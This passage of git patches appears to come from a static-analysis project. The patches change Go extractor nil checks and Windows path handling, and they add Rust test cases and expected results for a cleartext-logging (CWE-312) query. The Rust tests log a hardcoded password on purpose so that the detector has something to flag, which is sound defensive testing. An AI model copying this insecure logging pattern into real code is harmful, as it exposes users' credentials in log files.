nil { - return - } kind = dbscheme.BlockStmtType.Index() extractStmts(tw, stmt.List, lbl, 0, 1) emitScopeNodeInfo(tw, stmt, lbl) case *ast.IfStmt: - if stmt == nil { - return - } kind = dbscheme.IfStmtType.Index() extractStmt(tw, stmt.Init, lbl, 0) extractExpr(tw, stmt.Cond, lbl, 1, false) @@ -1409,35 +1327,23 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { extractStmt(tw, stmt.Else, lbl, 3) emitScopeNodeInfo(tw, stmt, lbl) case *ast.CaseClause: - if stmt == nil { - return - } kind = dbscheme.CaseClauseType.Index() extractExprs(tw, stmt.List, lbl, -1, -1) extractStmts(tw, stmt.Body, lbl, 0, 1) emitScopeNodeInfo(tw, stmt, lbl) case *ast.SwitchStmt: - if stmt == nil { - return - } kind = dbscheme.ExprSwitchStmtType.Index() extractStmt(tw, stmt.Init, lbl, 0) extractExpr(tw, stmt.Tag, lbl, 1, false) extractStmt(tw, stmt.Body, lbl, 2) emitScopeNodeInfo(tw, stmt, lbl) case *ast.TypeSwitchStmt: - if stmt == nil { - return - } kind = dbscheme.TypeSwitchStmtType.Index() extractStmt(tw, stmt.Init, lbl, 0) extractStmt(tw, stmt.Assign, lbl, 1) extractStmt(tw, stmt.Body, lbl, 2) emitScopeNodeInfo(tw, stmt, lbl) case *ast.CommClause: - if stmt == nil { - return - } kind = dbscheme.CommClauseType.Index() extractStmt(tw, stmt.Comm, lbl, 0) extractStmts(tw, stmt.Body, lbl, 1, 1) @@ -1446,9 +1352,6 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { kind = dbscheme.SelectStmtType.Index() extractStmt(tw, stmt.Body, lbl, 0) case *ast.ForStmt: - if stmt == nil { - return - } kind = dbscheme.ForStmtType.Index() extractStmt(tw, stmt.Init, lbl, 0) extractExpr(tw, stmt.Cond, lbl, 1, false) @@ -1456,9 +1359,6 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { extractStmt(tw, stmt.Body, lbl, 3) emitScopeNodeInfo(tw, stmt, lbl) case *ast.RangeStmt: - if stmt == nil { - return - } kind = dbscheme.RangeStmtType.Index() extractExpr(tw, stmt.Key, lbl, 0, false) extractExpr(tw, stmt.Value, lbl, 1, false) @@ -1486,15 +1386,15 @@ func extractStmts(tw *trap.Writer, stmts []ast.Stmt, parent trap.Label, idx int, // extractDecl extracts AST information for the given declaration func extractDecl(tw *trap.Writer, decl ast.Decl, parent trap.Label, idx int) { + if decl == (*ast.FuncDecl)(nil) || decl == (*ast.GenDecl)(nil) { + return + } lbl := tw.Labeler.LocalID(decl) var kind int switch decl := decl.(type) { case *ast.BadDecl: kind = dbscheme.BadDeclType.Index() case *ast.GenDecl: - if decl == nil { - return - } switch decl.Tok { case token.IMPORT: kind = dbscheme.ImportDeclType.Index() @@ -1512,9 +1412,6 @@ func extractDecl(tw *trap.Writer, decl ast.Decl, parent trap.Label, idx int) { } extractDoc(tw, decl.Doc, lbl) case *ast.FuncDecl: - if decl == nil { - return - } kind = dbscheme.FuncDeclType.Index() extractFields(tw, decl.Recv, lbl, -1, -1) extractExpr(tw, decl.Name, lbl, 0, false) From d5044fd07276ffee8df483916a9efa796eb9eab8 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 15 May 2025 14:19:58 +0100 Subject: [PATCH 237/535] Deal better with Windows paths --- go/extractor/extractor.go | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/go/extractor/extractor.go b/go/extractor/extractor.go index 1456dd3a8990..d90d572a67ad 100644 --- a/go/extractor/extractor.go +++ b/go/extractor/extractor.go @@ -773,9 +773,15 @@ func (extraction *Extraction) extractFileInfo(tw *trap.Writer, file string, isDu var parentLbl trap.Label for i, component := range components { + isRoot := false if i == 0 { if component == "" { path = "/" + isRoot = true + } else if regexp.MustCompile(`^[A-Za-z]:$`).MatchString(component) { + // Handle Windows drive letters by appending "/" + path = component + "/" + isRoot = true } else { path = component } @@ -800,7 +806,7 @@ func (extraction *Extraction) extractFileInfo(tw *trap.Writer, file string, isDu if i > 0 { dbscheme.ContainerParentTable.Emit(tw, parentLbl, lbl) } - if path != "/" { + if !isRoot { parentPath = path } parentLbl = lbl From 47dac643016624181231a75ba00bbc5a3df5d40f Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 20 May 2025 03:03:36 +0100 Subject: [PATCH 238/535] fix previous commit --- go/extractor/extractor.go | 28 ++++++++++++---------------- 1 file changed, 12 insertions(+), 16 deletions(-) diff --git a/go/extractor/extractor.go b/go/extractor/extractor.go index d90d572a67ad..ff58df73a91b 100644 --- a/go/extractor/extractor.go +++ b/go/extractor/extractor.go @@ -773,24 +773,22 @@ func (extraction *Extraction) extractFileInfo(tw *trap.Writer, file string, isDu var parentLbl trap.Label for i, component := range components { - isRoot := false + var rawPath, canonicalPath string if i == 0 { - if component == "" { - path = "/" - isRoot = true - } else if regexp.MustCompile(`^[A-Za-z]:$`).MatchString(component) { - // Handle Windows drive letters by appending "/" - path = component + "/" - isRoot = true + rawPath = component + if component == "" || regexp.MustCompile(`^[A-Za-z]:$`).MatchString(component) { + // Handle linux root and Windows drive letters by appending "/" + canonicalPath = rawPath + "/" } else { - path = component + canonicalPath = rawPath } } else { - path = parentPath + "/" + component + rawPath = parentPath + "/" + component + canonicalPath = rawPath } if i == len(components)-1 { lbl := tw.Labeler.FileLabelFor(file) - dbscheme.FilesTable.Emit(tw, lbl, path) + dbscheme.FilesTable.Emit(tw, lbl, canonicalPath) dbscheme.ContainerParentTable.Emit(tw, parentLbl, lbl) dbscheme.HasLocationTable.Emit(tw, lbl, emitLocation(tw, lbl, 0, 0, 0, 0)) extraction.Lock.Lock() @@ -801,14 +799,12 @@ func (extraction *Extraction) extractFileInfo(tw *trap.Writer, file string, isDu extraction.Lock.Unlock() break } - lbl := tw.Labeler.GlobalID(util.EscapeTrapSpecialChars(path) + ";folder") - dbscheme.FoldersTable.Emit(tw, lbl, path) + lbl := tw.Labeler.GlobalID(util.EscapeTrapSpecialChars(canonicalPath) + ";folder") + dbscheme.FoldersTable.Emit(tw, lbl, canonicalPath) if i > 0 { dbscheme.ContainerParentTable.Emit(tw, parentLbl, lbl) } - if !isRoot { - parentPath = path - } + parentPath = rawPath parentLbl = lbl } } From 83cd349531e8ac2fb03ac371123bf986ac83556d Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 20 May 2025 13:13:03 +0100 Subject: [PATCH 239/535] Change variable name and add comment --- go/extractor/extractor.go | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/go/extractor/extractor.go b/go/extractor/extractor.go index ff58df73a91b..42ea0527ce85 100644 --- a/go/extractor/extractor.go +++ b/go/extractor/extractor.go @@ -773,22 +773,25 @@ func (extraction *Extraction) extractFileInfo(tw *trap.Writer, file string, isDu var parentLbl trap.Label for i, component := range components { - var rawPath, canonicalPath string + // displayPath is the same as rawPath except for root directories: if + // rawPath is "" then displayPath is "/"; if rawPath is "C:" then + // displayPath is "C:/". + var rawPath, displayPath string if i == 0 { rawPath = component if component == "" || regexp.MustCompile(`^[A-Za-z]:$`).MatchString(component) { // Handle linux root and Windows drive letters by appending "/" - canonicalPath = rawPath + "/" + displayPath = rawPath + "/" } else { - canonicalPath = rawPath + displayPath = rawPath } } else { rawPath = parentPath + "/" + component - canonicalPath = rawPath + displayPath = rawPath } if i == len(components)-1 { lbl := tw.Labeler.FileLabelFor(file) - dbscheme.FilesTable.Emit(tw, lbl, canonicalPath) + dbscheme.FilesTable.Emit(tw, lbl, displayPath) dbscheme.ContainerParentTable.Emit(tw, parentLbl, lbl) dbscheme.HasLocationTable.Emit(tw, lbl, emitLocation(tw, lbl, 0, 0, 0, 0)) extraction.Lock.Lock() @@ -799,8 +802,8 @@ func (extraction *Extraction) extractFileInfo(tw *trap.Writer, file string, isDu extraction.Lock.Unlock() break } - lbl := tw.Labeler.GlobalID(util.EscapeTrapSpecialChars(canonicalPath) + ";folder") - dbscheme.FoldersTable.Emit(tw, lbl, canonicalPath) + lbl := tw.Labeler.GlobalID(util.EscapeTrapSpecialChars(displayPath) + ";folder") + dbscheme.FoldersTable.Emit(tw, lbl, displayPath) if i > 0 { dbscheme.ContainerParentTable.Emit(tw, parentLbl, lbl) } From 3b40a5875a170e835c74560781217b5a272874dd Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 15:21:32 +0100 Subject: [PATCH 240/535] Rust: Add test cases (generated by LLM). --- .../security/CWE-312/test_logging.rs | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs index 970a9caf0ee5..529d3ed9a034 100644 --- a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs +++ b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs @@ -2,6 +2,7 @@ use log::{debug, error, info, trace, warn, log, Level}; use std::io::Write as _; use std::fmt::Write as _; +use log_err::{LogErrOption, LogErrResult}; // --- tests --- @@ -146,6 +147,32 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { warn!("message = {}", s2); // (this implementation does not output the password field) warn!("message = {:?}", s2); // $ MISSING: Alert[rust/cleartext-logging]=s2 warn!("message = {:#?}", s2); // $ MISSING: Alert[rust/cleartext-logging]=s2 + + // test log_expect with sensitive data + let password2 = "123456".to_string(); // Create new password for this test + let sensitive_opt: Option = Some(password2.clone()); + + // log_expect tests with LogErrOption trait + let _ = sensitive_opt.log_expect("Option is None"); // $ Alert[rust/cleartext-logging] + + // log_expect tests with LogErrResult trait + let sensitive_result: Result = Ok(password2.clone()); + let _ = sensitive_result.log_expect("Result failed"); // $ Alert[rust/cleartext-logging] + + // log_unwrap tests with LogErrOption trait + let sensitive_opt2: Option = Some(password2.clone()); + let _ = sensitive_opt2.log_unwrap(); // $ Alert[rust/cleartext-logging] + + // log_unwrap tests with LogErrResult trait + let sensitive_result2: Result = Ok(password2.clone()); + let _ = sensitive_result2.log_unwrap(); // $ Alert[rust/cleartext-logging] + + // Negative cases that should fail and log + let none_opt: Option = None; + let _ = none_opt.log_expect(&format!("Failed with password: {}", password2)); // $ Alert[rust/cleartext-logging] + + let err_result: Result = Err(password2); + let _ = err_result.log_unwrap(); // $ Alert[rust/cleartext-logging] } fn test_std(password: String, i: i32, opt_i: Option) { From 355e440fdfc25e4364252b6aadd889ff15fb5bc1 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 15:23:06 +0100 Subject: [PATCH 241/535] Rust: Make the new test cases work. --- .../CWE-312/CleartextLogging.expected | 830 +++++++++--------- .../query-tests/security/CWE-312/options.yml | 1 + .../security/CWE-312/test_logging.rs | 12 +- 3 files changed, 422 insertions(+), 421 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 61218e9c9085..b81d85d90274 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -1,220 +1,220 @@ #select -| test_logging.rs:42:5:42:36 | ...::log | test_logging.rs:42:28:42:35 | password | test_logging.rs:42:5:42:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:42:28:42:35 | password | password | | test_logging.rs:43:5:43:36 | ...::log | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:5:43:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:43:28:43:35 | password | password | -| test_logging.rs:44:5:44:35 | ...::log | test_logging.rs:44:27:44:34 | password | test_logging.rs:44:5:44:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:27:44:34 | password | password | -| test_logging.rs:45:5:45:36 | ...::log | test_logging.rs:45:28:45:35 | password | test_logging.rs:45:5:45:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:28:45:35 | password | password | -| test_logging.rs:46:5:46:35 | ...::log | test_logging.rs:46:27:46:34 | password | test_logging.rs:46:5:46:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:27:46:34 | password | password | -| test_logging.rs:47:5:47:48 | ...::log | test_logging.rs:47:40:47:47 | password | test_logging.rs:47:5:47:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:40:47:47 | password | password | -| test_logging.rs:52:5:52:36 | ...::log | test_logging.rs:52:28:52:35 | password | test_logging.rs:52:5:52:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:52:28:52:35 | password | password | -| test_logging.rs:54:5:54:49 | ...::log | test_logging.rs:54:41:54:48 | password | test_logging.rs:54:5:54:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:54:41:54:48 | password | password | -| test_logging.rs:56:5:56:47 | ...::log | test_logging.rs:56:39:56:46 | password | test_logging.rs:56:5:56:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:56:39:56:46 | password | password | -| test_logging.rs:57:5:57:34 | ...::log | test_logging.rs:57:24:57:31 | password | test_logging.rs:57:5:57:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:24:57:31 | password | password | -| test_logging.rs:58:5:58:36 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | -| test_logging.rs:60:5:60:54 | ...::log | test_logging.rs:60:46:60:53 | password | test_logging.rs:60:5:60:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:60:46:60:53 | password | password | -| test_logging.rs:61:5:61:55 | ...::log | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:5:61:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:21:61:28 | password | password | -| test_logging.rs:65:5:65:48 | ...::log | test_logging.rs:65:40:65:47 | password | test_logging.rs:65:5:65:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:65:40:65:47 | password | password | -| test_logging.rs:67:5:67:66 | ...::log | test_logging.rs:67:58:67:65 | password | test_logging.rs:67:5:67:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:67:58:67:65 | password | password | -| test_logging.rs:68:5:68:67 | ...::log | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:5:68:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:19:68:26 | password | password | -| test_logging.rs:72:5:72:47 | ...::log | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password | -| test_logging.rs:74:5:74:65 | ...::log | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password | -| test_logging.rs:75:5:75:51 | ...::log | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | -| test_logging.rs:76:5:76:47 | ...::log | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password | -| test_logging.rs:82:5:82:44 | ...::log | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password | -| test_logging.rs:84:5:84:62 | ...::log | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password | -| test_logging.rs:85:5:85:48 | ...::log | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | -| test_logging.rs:86:5:86:44 | ...::log | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password | -| test_logging.rs:94:5:94:29 | ...::log | test_logging.rs:93:15:93:22 | password | test_logging.rs:94:5:94:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:93:15:93:22 | password | password | -| test_logging.rs:97:5:97:19 | ...::log | test_logging.rs:96:42:96:49 | password | test_logging.rs:97:5:97:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:96:42:96:49 | password | password | -| test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | -| test_logging.rs:118:5:118:42 | ...::log | test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:5:118:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:118:28:118:41 | get_password(...) | get_password(...) | -| test_logging.rs:131:5:131:32 | ...::log | test_logging.rs:129:25:129:32 | password | test_logging.rs:131:5:131:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:129:25:129:32 | password | password | -| test_logging.rs:152:5:152:38 | ...::_print | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:5:152:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:152:30:152:37 | password | password | -| test_logging.rs:153:5:153:38 | ...::_print | test_logging.rs:153:30:153:37 | password | test_logging.rs:153:5:153:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:153:30:153:37 | password | password | -| test_logging.rs:154:5:154:39 | ...::_eprint | test_logging.rs:154:31:154:38 | password | test_logging.rs:154:5:154:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:154:31:154:38 | password | password | -| test_logging.rs:155:5:155:39 | ...::_eprint | test_logging.rs:155:31:155:38 | password | test_logging.rs:155:5:155:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:155:31:155:38 | password | password | -| test_logging.rs:158:16:158:47 | ...::panic_fmt | test_logging.rs:158:39:158:46 | password | test_logging.rs:158:16:158:47 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:158:39:158:46 | password | password | -| test_logging.rs:159:16:159:46 | ...::panic_fmt | test_logging.rs:159:38:159:45 | password | test_logging.rs:159:16:159:46 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:159:38:159:45 | password | password | -| test_logging.rs:160:16:160:55 | ...::panic_fmt | test_logging.rs:160:47:160:54 | password | test_logging.rs:160:16:160:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:160:47:160:54 | password | password | -| test_logging.rs:161:16:161:53 | ...::panic_fmt | test_logging.rs:161:45:161:52 | password | test_logging.rs:161:16:161:53 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:161:45:161:52 | password | password | -| test_logging.rs:162:16:162:55 | ...::panic_fmt | test_logging.rs:162:47:162:54 | password | test_logging.rs:162:16:162:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:162:47:162:54 | password | password | -| test_logging.rs:163:16:163:57 | ...::assert_failed | test_logging.rs:163:49:163:56 | password | test_logging.rs:163:16:163:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:163:49:163:56 | password | password | -| test_logging.rs:164:16:164:57 | ...::assert_failed | test_logging.rs:164:49:164:56 | password | test_logging.rs:164:16:164:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:164:49:164:56 | password | password | -| test_logging.rs:165:16:165:61 | ...::panic_fmt | test_logging.rs:165:53:165:60 | password | test_logging.rs:165:16:165:61 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:165:53:165:60 | password | password | -| test_logging.rs:166:16:166:63 | ...::assert_failed | test_logging.rs:166:55:166:62 | password | test_logging.rs:166:16:166:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:166:55:166:62 | password | password | -| test_logging.rs:167:17:167:64 | ...::assert_failed | test_logging.rs:167:56:167:63 | password | test_logging.rs:167:17:167:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:167:56:167:63 | password | password | -| test_logging.rs:168:27:168:32 | expect | test_logging.rs:168:58:168:65 | password | test_logging.rs:168:27:168:32 | expect | This operation writes $@ to a log file. | test_logging.rs:168:58:168:65 | password | password | -| test_logging.rs:174:30:174:34 | write | test_logging.rs:174:62:174:69 | password | test_logging.rs:174:30:174:34 | write | This operation writes $@ to a log file. | test_logging.rs:174:62:174:69 | password | password | -| test_logging.rs:175:30:175:38 | write_all | test_logging.rs:175:66:175:73 | password | test_logging.rs:175:30:175:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:175:66:175:73 | password | password | -| test_logging.rs:178:9:178:13 | write | test_logging.rs:178:41:178:48 | password | test_logging.rs:178:9:178:13 | write | This operation writes $@ to a log file. | test_logging.rs:178:41:178:48 | password | password | -| test_logging.rs:181:9:181:13 | write | test_logging.rs:181:41:181:48 | password | test_logging.rs:181:9:181:13 | write | This operation writes $@ to a log file. | test_logging.rs:181:41:181:48 | password | password | +| test_logging.rs:44:5:44:36 | ...::log | test_logging.rs:44:28:44:35 | password | test_logging.rs:44:5:44:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:28:44:35 | password | password | +| test_logging.rs:45:5:45:35 | ...::log | test_logging.rs:45:27:45:34 | password | test_logging.rs:45:5:45:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:27:45:34 | password | password | +| test_logging.rs:46:5:46:36 | ...::log | test_logging.rs:46:28:46:35 | password | test_logging.rs:46:5:46:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:28:46:35 | password | password | +| test_logging.rs:47:5:47:35 | ...::log | test_logging.rs:47:27:47:34 | password | test_logging.rs:47:5:47:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:27:47:34 | password | password | +| test_logging.rs:48:5:48:48 | ...::log | test_logging.rs:48:40:48:47 | password | test_logging.rs:48:5:48:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:48:40:48:47 | password | password | +| test_logging.rs:53:5:53:36 | ...::log | test_logging.rs:53:28:53:35 | password | test_logging.rs:53:5:53:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:53:28:53:35 | password | password | +| test_logging.rs:55:5:55:49 | ...::log | test_logging.rs:55:41:55:48 | password | test_logging.rs:55:5:55:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:55:41:55:48 | password | password | +| test_logging.rs:57:5:57:47 | ...::log | test_logging.rs:57:39:57:46 | password | test_logging.rs:57:5:57:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:39:57:46 | password | password | +| test_logging.rs:58:5:58:34 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | +| test_logging.rs:59:5:59:36 | ...::log | test_logging.rs:59:24:59:31 | password | test_logging.rs:59:5:59:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:59:24:59:31 | password | password | +| test_logging.rs:61:5:61:54 | ...::log | test_logging.rs:61:46:61:53 | password | test_logging.rs:61:5:61:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:46:61:53 | password | password | +| test_logging.rs:62:5:62:55 | ...::log | test_logging.rs:62:21:62:28 | password | test_logging.rs:62:5:62:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:62:21:62:28 | password | password | +| test_logging.rs:66:5:66:48 | ...::log | test_logging.rs:66:40:66:47 | password | test_logging.rs:66:5:66:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:66:40:66:47 | password | password | +| test_logging.rs:68:5:68:66 | ...::log | test_logging.rs:68:58:68:65 | password | test_logging.rs:68:5:68:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:58:68:65 | password | password | +| test_logging.rs:69:5:69:67 | ...::log | test_logging.rs:69:19:69:26 | password | test_logging.rs:69:5:69:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:69:19:69:26 | password | password | +| test_logging.rs:73:5:73:47 | ...::log | test_logging.rs:73:39:73:46 | password | test_logging.rs:73:5:73:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:73:39:73:46 | password | password | +| test_logging.rs:75:5:75:65 | ...::log | test_logging.rs:75:57:75:64 | password | test_logging.rs:75:5:75:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:57:75:64 | password | password | +| test_logging.rs:76:5:76:51 | ...::log | test_logging.rs:76:21:76:28 | password | test_logging.rs:76:5:76:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:21:76:28 | password | password | +| test_logging.rs:77:5:77:47 | ...::log | test_logging.rs:77:39:77:46 | password | test_logging.rs:77:5:77:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:77:39:77:46 | password | password | +| test_logging.rs:83:5:83:44 | ...::log | test_logging.rs:83:36:83:43 | password | test_logging.rs:83:5:83:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:83:36:83:43 | password | password | +| test_logging.rs:85:5:85:62 | ...::log | test_logging.rs:85:54:85:61 | password | test_logging.rs:85:5:85:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:54:85:61 | password | password | +| test_logging.rs:86:5:86:48 | ...::log | test_logging.rs:86:21:86:28 | password | test_logging.rs:86:5:86:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:21:86:28 | password | password | +| test_logging.rs:87:5:87:44 | ...::log | test_logging.rs:87:36:87:43 | password | test_logging.rs:87:5:87:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:87:36:87:43 | password | password | +| test_logging.rs:95:5:95:29 | ...::log | test_logging.rs:94:15:94:22 | password | test_logging.rs:95:5:95:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:94:15:94:22 | password | password | +| test_logging.rs:98:5:98:19 | ...::log | test_logging.rs:97:42:97:49 | password | test_logging.rs:98:5:98:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:97:42:97:49 | password | password | +| test_logging.rs:101:5:101:19 | ...::log | test_logging.rs:100:38:100:45 | password | test_logging.rs:101:5:101:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:100:38:100:45 | password | password | +| test_logging.rs:119:5:119:42 | ...::log | test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:5:119:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:119:28:119:41 | get_password(...) | get_password(...) | +| test_logging.rs:132:5:132:32 | ...::log | test_logging.rs:130:25:130:32 | password | test_logging.rs:132:5:132:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:130:25:130:32 | password | password | +| test_logging.rs:179:5:179:38 | ...::_print | test_logging.rs:179:30:179:37 | password | test_logging.rs:179:5:179:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:179:30:179:37 | password | password | +| test_logging.rs:180:5:180:38 | ...::_print | test_logging.rs:180:30:180:37 | password | test_logging.rs:180:5:180:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:180:30:180:37 | password | password | +| test_logging.rs:181:5:181:39 | ...::_eprint | test_logging.rs:181:31:181:38 | password | test_logging.rs:181:5:181:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:181:31:181:38 | password | password | +| test_logging.rs:182:5:182:39 | ...::_eprint | test_logging.rs:182:31:182:38 | password | test_logging.rs:182:5:182:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:182:31:182:38 | password | password | +| test_logging.rs:185:16:185:47 | ...::panic_fmt | test_logging.rs:185:39:185:46 | password | test_logging.rs:185:16:185:47 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:185:39:185:46 | password | password | +| test_logging.rs:186:16:186:46 | ...::panic_fmt | test_logging.rs:186:38:186:45 | password | test_logging.rs:186:16:186:46 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:186:38:186:45 | password | password | +| test_logging.rs:187:16:187:55 | ...::panic_fmt | test_logging.rs:187:47:187:54 | password | test_logging.rs:187:16:187:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:187:47:187:54 | password | password | +| test_logging.rs:188:16:188:53 | ...::panic_fmt | test_logging.rs:188:45:188:52 | password | test_logging.rs:188:16:188:53 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:188:45:188:52 | password | password | +| test_logging.rs:189:16:189:55 | ...::panic_fmt | test_logging.rs:189:47:189:54 | password | test_logging.rs:189:16:189:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:189:47:189:54 | password | password | +| test_logging.rs:190:16:190:57 | ...::assert_failed | test_logging.rs:190:49:190:56 | password | test_logging.rs:190:16:190:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:190:49:190:56 | password | password | +| test_logging.rs:191:16:191:57 | ...::assert_failed | test_logging.rs:191:49:191:56 | password | test_logging.rs:191:16:191:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:191:49:191:56 | password | password | +| test_logging.rs:192:16:192:61 | ...::panic_fmt | test_logging.rs:192:53:192:60 | password | test_logging.rs:192:16:192:61 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:192:53:192:60 | password | password | +| test_logging.rs:193:16:193:63 | ...::assert_failed | test_logging.rs:193:55:193:62 | password | test_logging.rs:193:16:193:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:193:55:193:62 | password | password | +| test_logging.rs:194:17:194:64 | ...::assert_failed | test_logging.rs:194:56:194:63 | password | test_logging.rs:194:17:194:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:194:56:194:63 | password | password | +| test_logging.rs:195:27:195:32 | expect | test_logging.rs:195:58:195:65 